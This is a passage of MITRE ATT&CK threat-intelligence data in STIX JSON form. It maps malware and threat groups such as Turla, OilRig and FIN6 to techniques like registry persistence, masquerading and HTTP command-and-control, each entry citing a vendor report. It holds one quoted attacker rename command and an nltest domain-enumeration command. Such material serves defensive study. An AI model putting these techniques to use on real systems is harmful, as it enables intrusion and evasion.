"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop", + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "source_name": "ThreatStream Evasion Analysis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--61827309-9071-416b-aedf-7f82f224db2e", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. If so, [NETEAGLE](https://attack.mitre.org/software/S0034) will send beacons via an HTTP POST request. [NETEAGLE](https://attack.mitre.org/software/S0034) will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2.(Citation: FireEye APT30)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T01:57:57.404Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ce9c90e9-d408-485e-a380-52a87abcf3fc", + "description": "[Turla](https://attack.mitre.org/groups/G0010) established persistence by adding a Shell value under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon.(Citation: ESET Turla Mosquito Jan 2018)", + "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", + "modified": "2021-04-25T15:37:07.993Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a36263d1-d109-4c94-930a-6be1e9615527", + "description": "(Citation: FireEye admin@338)", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-09-04T19:48:17.681Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.053Z", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--14702113-ddd7-4898-902a-aeb884b26266", + "description": "(Citation: FireEye APT10 Sept 2018)", + "target_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2019-09-03T18:50:16.893Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c0e78590-0266-43e0-8fb5-efd95556c20c", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) compresses output data generated by command execution with a custom implementation of the Lempel\u2013Ziv\u2013Welch (LZW) algorithm.(Citation: ESET Sednit Part 2)", + "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", + "modified": "2020-03-30T01:44:20.206Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71", + "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.(Citation: Forcepoint Monsoon)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a4a49b56-e220-4a81-a0da-43b63c012cfe", + "description": "The [CozyCar](https://attack.mitre.org/software/S0046) dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file.(Citation: F-Secure CozyDuke)", + "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "modified": "2020-11-23T17:03:38.753Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e1b4887c-37ac-4470-88d5-ece2bfa6477e", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses HTTP for C2 communications.(Citation: ESET InvisiMole June 2018)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T01:34:37.980Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--39556624-1c45-4178-bfa4-7a20b254df7e", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses HTTPS for command and control.(Citation: synack 2016 review)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T01:40:25.106Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/", + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "source_name": "synack 2016 review" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) persists through a scheduled task that executes it every minute.(Citation: FireEye APT34 Dec 2017)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-03-28T21:37:54.177Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2355c588-ff82-4eaf-82db-54af59ede582", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.(Citation: Cylance Cleaver)", + "target_ref": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d", + "modified": "2021-04-21T16:41:34.712Z", + "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--11247a95-272b-4ae2-8dae-2cd049328734", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can perform DLL injection.(Citation: Kaspersky ProjectSauron Technical Analysis)", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2020-03-16T19:08:50.297Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. 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Retrieved May 13, 2020.", + "source_name": "Kaspersky MoleRATs April 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3abe734c-7fd2-4da6-9b0a-420f9187165c", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can send screenshots files, keylogger data, files, and recorded audio back to the C2 server.(Citation: GitHub Pupy)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2019-04-24T17:52:47.941Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). 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Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3680408d-e56e-4d68-a74d-2678093ed53f", + "target_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2018-04-18T17:59:24.739Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.(Citation: FireEye FIN6 April 2016)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-10-08T14:44:54.343Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.071Z", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ff950ea2-2982-4bfd-8361-7755e83778fd", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) encodes many of its artifacts and is encrypted (AES-128) when downloaded.(Citation: PaloAlto CardinalRat Apr 2017) ", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-06-10T18:25:51.594Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T16:39:54.479Z", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ee46b157-d368-42e4-98f6-b76f6e65c9bd", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used [dsquery](https://attack.mitre.org/software/S0105) and other Active Directory utilities to enumerate hosts; they have also used nltest.exe /dclist to retrieve a list of domain controllers.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Bitdefender FIN8 July 2021)", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "modified": "2021-10-07T12:44:28.131Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation", + "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.", + "source_name": "Bitdefender FIN8 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ea11624f-1025-46a9-820b-0b87866f534d", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.(Citation: Securelist MuddyWater Oct 2018)", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "modified": "2019-06-28T15:30:58.707Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T17:33:40.878Z", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6962782-1942-42f5-a627-f205376e2ec2", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs \"louder\" interactions with the malware.(Citation: FireEye APT30)", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "modified": "2020-03-17T00:19:44.130Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "description": "FireEye Labs. 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Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command to rename one of their tools to a benign file name: ren \"%temp%\\upload\" audiodg.exe(Citation: FireEye admin@338)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-03-17T23:03:02.717Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.052Z", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--557d3feb-0699-429e-bc83-ff114cf138ef", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has delivered macro-enabled documents that required targets to click the \"enable content\" button to execute the payload on the system.(Citation: Unit 42 OopsIE! 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Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + }, + { + "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", + "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.", + "source_name": "Check Point APT34 April 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7c5c4ef2-2e0b-4c83-ae98-8f0f40cb6d3c", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has disabled anti-virus and anti-spyware tools in some instances on the victim\u2019s machines. The actors have also disabled proxy settings to allow direct communication from victims to the Internet.(Citation: McAfee Night Dragon)", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "modified": "2021-06-16T15:50:05.280Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T18:02:59.190Z", + "external_references": [ + { + "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d", + "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to delete files from the file system.(Citation: TechNet Del)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-17T19:12:13.036Z", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://technet.microsoft.com/en-us/library/cc771049.aspx", + "description": "Microsoft. (n.d.). Del. Retrieved April 22, 2016.", + "source_name": "TechNet Del" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--960accee-d5ea-4570-8697-84ada0cc266a", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has used a method similar to RC4 as well as AES for encryption and hexadecimal for encoding data before exfiltration. (Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020) ", + "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "modified": "2020-12-09T21:54:33.258Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T18:39:48.410Z", + "external_references": [ + { + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018" + }, + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020.", + "source_name": "CISA Zebrocy Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3837e91f-47d5-4b30-b11b-76a91450c4ef", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)", + "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "modified": "2020-03-20T00:00:19.229Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9c4bbad5-4821-4059-b881-557c2a6db1a0", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather the IP address from the victim's machine.(Citation: Symantec Volgmer Aug 2014)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2019-10-15T22:51:02.962Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--062b1f19-2afb-4bdc-908e-99594ff114cf", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses HTTP and HTTPS for C2 communications.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T01:07:24.410Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4d9b9464-1ade-45e9-9d7b-1c4c967abd81", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can collect the current timestamp of the victim's machine.(Citation: Unit 42 NOKKI Sept 2018)", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "modified": "2020-03-17T01:58:31.552Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T19:50:46.733Z", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). 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Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--44908b0a-993a-4339-b30f-f0f1a64c0753", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) copies itself to the Startup folder to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": 